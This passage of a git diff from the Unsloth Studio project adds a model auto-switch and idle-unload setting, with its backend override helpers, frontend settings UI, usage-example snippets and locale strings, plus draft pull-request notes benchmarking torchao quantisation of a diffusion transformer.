storage.studio_db import upsert_app_settings + + upsert_app_settings( + {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle} + ) + _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY) + _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY) + return parsed_enabled, parsed_idle + + +def get_model_overrides() -> dict[str, dict]: + """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length}).""" + raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None) + return raw if isinstance(raw, dict) else {} + + +def get_model_override(model_id: str) -> dict: + """The launch override applied when auto-switch loads ``model_id`` (or empty).""" + override = get_model_overrides().get(model_id) + return override if isinstance(override, dict) else {} + + +def set_model_override( + model_id: str, + llama_extra_args: Optional[list[str]] = None, + max_seq_length: Optional[int] = None, +) -> dict: + """Upsert one model's launch override; an override with no fields removes it.""" + if not model_id or not model_id.strip(): + raise ValueError("model_id is required.") + entry: dict[str, Any] = {} + if llama_extra_args: + entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args] + if max_seq_length: + entry["max_seq_length"] = max(0, int(max_seq_length)) + + from storage.studio_db import upsert_app_setting_map_entry + + # Atomic per-entry merge so two PUTs for different models can't drop each other. + upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None) + _invalidate(MODEL_OVERRIDES_SETTING_KEY) + return entry diff --git a/studio/frontend/src/features/images/images-page.tsx b/studio/frontend/src/features/images/images-page.tsx index 0de61edf7e..653b65d217 100644 --- a/studio/frontend/src/features/images/images-page.tsx +++ b/studio/frontend/src/features/images/images-page.tsx @@ -818,6 +818,10 @@ function RecipePopover({ // Controlled + force-closed off-tab: PopoverContent portals to body, so the // hidden/inert page wrapper can't contain it when the page is kept mounted. const [open, setOpen] = useState(false); + // Also clear the flag when leaving the tab so it does not reopen on return. + useEffect(() => { + if (!active) setOpen(false); + }, [active]); return ( setOpen(active && o)}> @@ -1221,6 +1225,16 @@ export function ImagesPage({ active = true }: { active?: boolean }) { })(); }, [active, refreshStatus]); + // Collapse the body-ported popovers when leaving the tab. Their open state is + // controlled and force-closed via `active && open` while off-tab, but the + // underlying flag stays set, so returning to /images would otherwise pop them + // back open unprompted. Reset it so the page comes back in a neutral state. + useEffect(() => { + if (active) return; + setSelectorOpen(false); + setAspectOpen(false); + }, [active]); + // Poll load-progress until the background load reaches "ready" or "error", // updating the persistent toast in place each tick. const pollLoadProgress = useCallback(async () => { @@ -1404,8 +1418,28 @@ export function ImagesPage({ active = true }: { active?: boolean }) { }); return; } - // A direct local .gguf file picked without a variant isn't wired for Images. - if (meta.isGguf) return; + // A direct single-file local .gguf pick has no variant/filename (custom folder / + // LM Studio). Load it by splitting the path into (parent dir, basename) the backend + // resolves, instead of silently doing nothing. + if (meta.isGguf) { + const norm = id.replace(/\\/g, "/"); + const slash = norm.lastIndexOf("/"); + const filename = slash >= 0 ? norm.slice(slash + 1) : norm; + const dir = slash >= 0 ? norm.slice(0, slash) : "."; + if (!filename.toLowerCase().endsWith(".gguf")) return; + // A direct pick carries no curated variant label; surface the filename so + // the selector stops advertising the previously loaded quant. Optimistic, + // reverted if the load fails to start (mirrors the curated branch above). + const prevQuant = quant; + setQuant(filename); + const dq2 = defaultsFor(id); + setSteps(dq2.steps); + setGuidance(dq2.guidance); + void handleLoad(dir, { kind: "gguf", filename }).then((started) => { + if (!started) setQuant(prevQuant); + }); + return; + } // Otherwise treat it as a full diffusers repo (safetensors / bnb-4bit). The backend // infers the family + base repo from the id and gates loads to unsloth/* repos or // on-device paths, so only attempt those; other Hub orgs can't be assembled here. diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts new file mode 100644 index 0000000000..80ffc084d0 --- /dev/null +++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type OpenAIAutoSwitchSettings = { + enabled: boolean; + autoUnloadIdleSeconds: number; + defaultEnabled: boolean; + // True when the idle-unload loop will actually unload (e.g. enabled via the + // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off). + idleUnloadActive: boolean; +}; + +type ApiOpenAIAutoSwitchSettings = { + enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: number; + // biome-ignore lint/style/useNamingConvention: API schema + default_enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + idle_unload_active?: boolean; +}; + +let cachedSettings: OpenAIAutoSwitchSettings | null = null; +let inFlightSettings: Promise | null = null; + +function fromApi( + settings: ApiOpenAIAutoSwitchSettings, +): OpenAIAutoSwitchSettings { + return { + enabled: settings.enabled, + autoUnloadIdleSeconds: settings.auto_unload_idle_seconds, + defaultEnabled: settings.default_enabled, + idleUnloadActive: settings.idle_unload_active ?? false, + }; +} + +async function fetchOpenAIAutoSwitchSettings(): Promise { + const res = await authFetch("/api/settings/openai-auto-switch"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load model auto-switch settings"), + ); + } + return fromApi(await res.json()); +} + +function cacheSettings(settings: OpenAIAutoSwitchSettings) { + cachedSettings = settings; + return settings; +} + +export async function loadOpenAIAutoSwitchSettings() { + if (cachedSettings) { + return cachedSettings; + } + inFlightSettings ??= fetchOpenAIAutoSwitchSettings() + .then(cacheSettings) + .finally(() => { + inFlightSettings = null; + }); + return inFlightSettings; +} + +export async function updateOpenAIAutoSwitchSettings( + enabled: boolean, + autoUnloadIdleSeconds: number, +): Promise { + const res = await authFetch("/api/settings/openai-auto-switch", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + enabled, + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: autoUnloadIdleSeconds, + }), + }); + if (!res.ok) { + throw new Error( + await readFastApiError( + res, + "Failed to update model auto-switch settings", + ), + ); + } + return cacheSettings(fromApi(await res.json())); +} diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx new file mode 100644 index 0000000000..581c78ebd1 --- /dev/null +++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; +import { useT } from "@/i18n"; +import { useEffect, useState } from "react"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; +import { SettingsRow } from "./settings-row"; +import { SettingsSection } from "./settings-section"; + +export function ModelAutoSwitchSection() { + const t = useT(); + const [settings, setSettings] = useState( + null, + ); + const [draftIdleSeconds, setDraftIdleSeconds] = useState("0"); + const [error, setError] = useState(null); + const [isSaving, setIsSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((loaded) => { + if (cancelled) return; + setSettings(loaded); + setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds)); + setError(null); + }) + .catch((loadError) => { + if (cancelled) return; + setError( + loadError instanceof Error + ? loadError.message + : t("settings.general.modelAutoSwitch.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + + // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null. + const parseIdleSeconds = (): number | null => { + if (!draftIdleSeconds.trim()) { + return null; + } + const parsed = Number(draftIdleSeconds); + return Number.isInteger(parsed) && parsed >= 0 ? parsed : null; + }; + + const persist = async ( + enabled: boolean, + idleSeconds: number, + syncDraft = true, + ) => { + setIsSaving(true); + setError(null); + try { + const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds); + setSettings(saved); + if (syncDraft) { + setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds)); + } + } catch (saveError) { + setError( + saveError instanceof Error + ? saveError.message + : t("settings.general.modelAutoSwitch.saveError"), + ); + } finally { + setIsSaving(false); + } + }; + + // Idle-unload is tied to auto-switch (the freed model reloads via the swap). + // Toggling off preserves the saved seconds rather than zeroing them — the + // backend gates unloading on the enabled flag, so it never unloads while off. + // Enabling commits the drafted value, falling back to the last saved one so + // it can never get stuck. + const handleToggle = (enabled: boolean) => { + const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0; + if (!enabled) { + void persist(false, savedIdleSeconds, false); + return; + } + void persist(true, parseIdleSeconds() ?? savedIdleSeconds); + }; + + const handleSaveIdle = () => { + const idleSeconds = parseIdleSeconds(); + if (idleSeconds === null) { + setError(t("settings.general.modelAutoSwitch.idleError")); + return; + } + void persist(true, idleSeconds); + }; + + return ( + + + + + +
+
+
+ setDraftIdleSeconds(event.target.value)} + className="h-8 w-full pr-8" + /> + + s + +
+ +
+ {error ? ( + + {error} + + ) : settings && !settings.enabled && settings.idleUnloadActive ? ( + + {t("settings.general.modelAutoSwitch.idleActiveViaEnv")} + + ) : settings && !settings.enabled ? ( + + {t("settings.general.modelAutoSwitch.idleNeedsEnable")} + + ) : null} +
+
+
+ ); +} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index 4085aa2ab0..aef2e7ffe6 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -27,6 +27,11 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useMemo, useState } from "react"; import { Streamdown } from "streamdown"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; // API call type; OS axis applies to curl only (Python is OS-identical). type ExampleType = @@ -68,6 +73,13 @@ const OS_AWARE: Record = { const CURL_TYPES = new Set(["curl", "curlTools", "curlAdvanced"]); const PROMPT = "Can Unsloth Studio do API calling?"; +// Auto-switch demo: a second call naming a different downloaded GGUF so the +// example shows that the model field selects which model serves. +// A placeholder the user replaces with one of their downloaded GGUFs. A fixed +// repo is usually not one they have, so the resolver would fall through and the +// demo would keep serving the current model instead of switching. +const SWITCH_MODEL = "your-other-downloaded-GGUF"; +const SWITCH_PROMPT = "Now answer as a different model."; // web_search + python + terminal are the reliable built-in tools. const TOOLS = ["web_search", "python", "terminal"]; // Sampling/thinking knobs for the "+ advanced" examples. @@ -163,13 +175,19 @@ function winBody(model: string, variant: Variant): string { return JSON.stringify(body); } +// A leading comment (valid in both bash and PowerShell) noting the model field +// selects the served model when auto-switch is on. +const SWITCH_NOTE = + '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n'; + function curlUnix( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `curl ${base}/v1/chat/completions \\ + return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\ -H "Authorization: Bearer ${key}" \\ -H "Content-Type: application/json" \\ -d '${shSingle(curlBodyPretty(model, variant))}'`; @@ -181,8 +199,9 @@ function curlWindows( key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `$body = '${psSingle(winBody(model, variant))}' + return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}' Set-Content -Path body.json -Value $body -Encoding ascii curl.exe ${base}/v1/chat/completions \` -H "Authorization: Bearer ${key}" \` @@ -190,11 +209,29 @@ curl.exe ${base}/v1/chat/completions \` -d "@body.json"`; } +// A second OpenAI call naming a different downloaded GGUF: with auto-switch on, +// Studio loads it before serving, so the model field selects the served model. +function pythonSwitchDemo(): string { + return ` + +# "Switch model by request" is on: replace the model below with another GGUF you +# have downloaded and Studio loads it before serving. Unknown names keep serving +# the current model. +response = client.chat.completions.create( + model=${j(SWITCH_MODEL)}, + messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}], + stream=True, +) +for chunk in response: + print(chunk.choices[0].delta.content or "", end="")`; +} + function pythonSnippet( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { // Standard OpenAI args are named; Unsloth extensions go through extra_body. const named = @@ -241,7 +278,7 @@ response = client.chat.completions.create( messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody} stream=True, ) -${loop}`; +${loop}${autoSwitch ? pythonSwitchDemo() : ""}`; } function buildSnippets( @@ -249,15 +286,16 @@ function buildSnippets( key: string, model: string, os: Os, + autoSwitch: boolean, ): Record { const curl = os === "windows" ? curlWindows : curlUnix; return { - curl: curl(base, key, model, "plain"), - python: pythonSnippet(base, key, model, "plain"), - curlTools: curl(base, key, model, "tools"), - pythonTools: pythonSnippet(base, key, model, "tools"), - curlAdvanced: curl(base, key, model, "advanced"), - pythonAdvanced: pythonSnippet(base, key, model, "advanced"), + curl: curl(base, key, model, "plain", autoSwitch), + python: pythonSnippet(base, key, model, "plain", autoSwitch), + curlTools: curl(base, key, model, "tools", autoSwitch), + pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch), + curlAdvanced: curl(base, key, model, "advanced", autoSwitch), + pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch), }; } @@ -346,12 +384,31 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const [copied, setCopied] = useState(false); const [copiedUrl, setCopiedUrl] = useState(false); const [useTunnel, setUseTunnel] = useState(readUseTunnelPref); + // null while loading; the same setting the General tab exposes (shared cache). + const [autoSwitch, setAutoSwitch] = useState( + null, + ); + const [savingAutoSwitch, setSavingAutoSwitch] = useState(false); // Tunnel may start after the first /api/health read; refresh so it surfaces here. useEffect(() => { void fetchDeviceType({ force: true }); }, []); + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((s) => { + if (!cancelled) setAutoSwitch(s); + }) + .catch(() => { + // Best-effort: leave the toggle off if the setting can't be read. + }); + return () => { + cancelled = true; + }; + }, []); + const model = useLoadedModelName(); // Real key while revealed (before "Done"); otherwise a placeholder. const key = apiKey || KEY_PLACEHOLDER; @@ -361,9 +418,10 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const base = useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin); + const autoSwitchOn = autoSwitch?.enabled ?? false; const snippets = useMemo( - () => buildSnippets(base, key, model, os), - [base, key, model, os], + () => buildSnippets(base, key, model, os, autoSwitchOn), + [base, key, model, os, autoSwitchOn], ); const osAware = OS_AWARE[lang]; @@ -385,6 +443,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { writeUseTunnelPref(next); }; + // Same setting as the General tab; persist optimistically and revert on failure + // so the examples reflect the live model-switch behavior. + const handleToggleAutoSwitch = (next: boolean) => { + const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0; + setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev)); + setSavingAutoSwitch(true); + void updateOpenAIAutoSwitchSettings(next, idle) + .then(setAutoSwitch) + .catch(() => { + setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev)); + }) + .finally(() => setSavingAutoSwitch(false)); + }; + const handleCopyUrl = async () => { if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) { setCopiedUrl(true); @@ -398,6 +470,41 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {t("settings.apiKeys.usageExamples")}
+ {/* Same setting as the General tab; surfaced here so the request `model` + actually switches the served model, which the examples below show. */} +
+
+ + + {t("settings.general.modelAutoSwitch.enable")} + + + + + + + {t("settings.general.modelAutoSwitch.enableDescription")} + + +
+
{cloudflareUrl ? (
@@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {/* Only when not launched with --secure: the raw 0.0.0.0 port is still globally reachable, so point the user at --secure. */} - {!secure ? ( + {secure ? null : ( - +
{/* Always rendered (dimmed when off) so toggling never changes the row height and shifts the code block below. */} diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index b3f26c808e..247d5040fb 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -48,6 +48,7 @@ import { updateUploadLimitSettings, } from "../api/upload-limit"; import { ChangePasswordDialog } from "../components/change-password-dialog"; +import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; import { SettingsRow } from "../components/settings-row"; import { SettingsSection } from "../components/settings-section"; import { StudioVersionSection } from "../components/studio-version-section"; @@ -528,6 +529,8 @@ export function GeneralTab() { + + diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index b96365653b..8507fe5174 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -143,6 +143,22 @@ export const en = { loadError: "Failed to load Helper LLM settings.", saveError: "Failed to save Helper LLM settings.", }, + modelAutoSwitch: { + sectionTitle: "Model auto-switch (OpenAI API)", + enable: "Switch model by request", + enableDescription: + "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.", + idleUnload: "Idle auto-unload", + idleUnloadDescription: + "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.", + idleNeedsEnable: + "Turn on Switch model by request so an unloaded model reloads on next use.", + idleActiveViaEnv: + "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.", + loadError: "Failed to load model auto-switch settings.", + saveError: "Failed to save model auto-switch settings.", + idleError: "Enter a whole number of seconds (0 or more).", + }, previewSharing: { sectionTitle: "Preview sharing", enableLabel: "Public preview links", diff --git a/temp/_pr_body_check.txt b/temp/_pr_body_check.txt new file mode 100644 index 0000000000..aaa5a47a5c --- /dev/null +++ b/temp/_pr_body_check.txt @@ -0,0 +1,58 @@ +## Summary + +An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690). + +The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores: + +| config | sec | vs GGUF+compile | LPIPS vs bf16 | +| --- | --- | --- | --- | +| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 | +| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 | +| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 | +| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 | + +Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback. + +## What it does + +New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader: + +1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF, +2. places it on the device and torchao-quantises the FLOP-heavy linears, +3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**. + +`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell nvfp4/mxfp8 -> fp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress. + +A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash). + +## Design + +- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call. +- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`. +- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`. +- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard. + +Blackwell nvfp4/mxfp8 are wired but currently smoke-fail on this box's torch 2.9 (the FP4/MX kernels need torch>=2.11 / the MX build); `auto` lands on fp8 there with no error, and they will activate automatically once the tooling supports them. + +## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345) + +End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe). + +| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS | +| --- | --- | --- | --- | --- | --- | --- | +| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 | +| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 | +| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 | +| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m | + +`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor. + +## Tests + +CPU-only, hermetic (torch / torchao stubbed via `sys.modules`): +- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell nvfp4->mxfp8->fp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure). +- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload. +- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422. + +`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter). + diff --git a/temp/_pr_body_check2.txt b/temp/_pr_body_check2.txt new file mode 100644 index 0000000000..312ae185b6 --- /dev/null +++ b/temp/_pr_body_check2.txt @@ -0,0 +1,59 @@ +## Summary + +An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690). + +The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores: + +| config | sec | vs GGUF+compile | LPIPS vs bf16 | +| --- | --- | --- | --- | +| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 | +| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 | +| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 | +| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 | + +Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback. + +## What it does + +New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader: + +1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF, +2. places it on the device and torchao-quantises the FLOP-heavy linears, +3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**. + +`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress. + +A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash). + +## Design + +- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call. +- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`. +- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`. +- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard. + +Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e). + +## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345) + +End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe). + +| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS | +| --- | --- | --- | --- | --- | --- | --- | +| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 | +| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 | +| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 | +| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m | + +`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor. + +## Tests + +CPU-only, hermetic (torch / torchao stubbed via `sys.modules`): +- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure). +- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload. +- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422. + +`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter). + + diff --git a/temp/_pr_body_live.txt b/temp/_pr_body_live.txt new file mode 100644 index 0000000000..158f8e2cb5 --- /dev/null +++ b/temp/_pr_body_live.txt @@ -0,0 +1,58 @@ +## Summary + +An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690). + +The motivation, measured on a B200 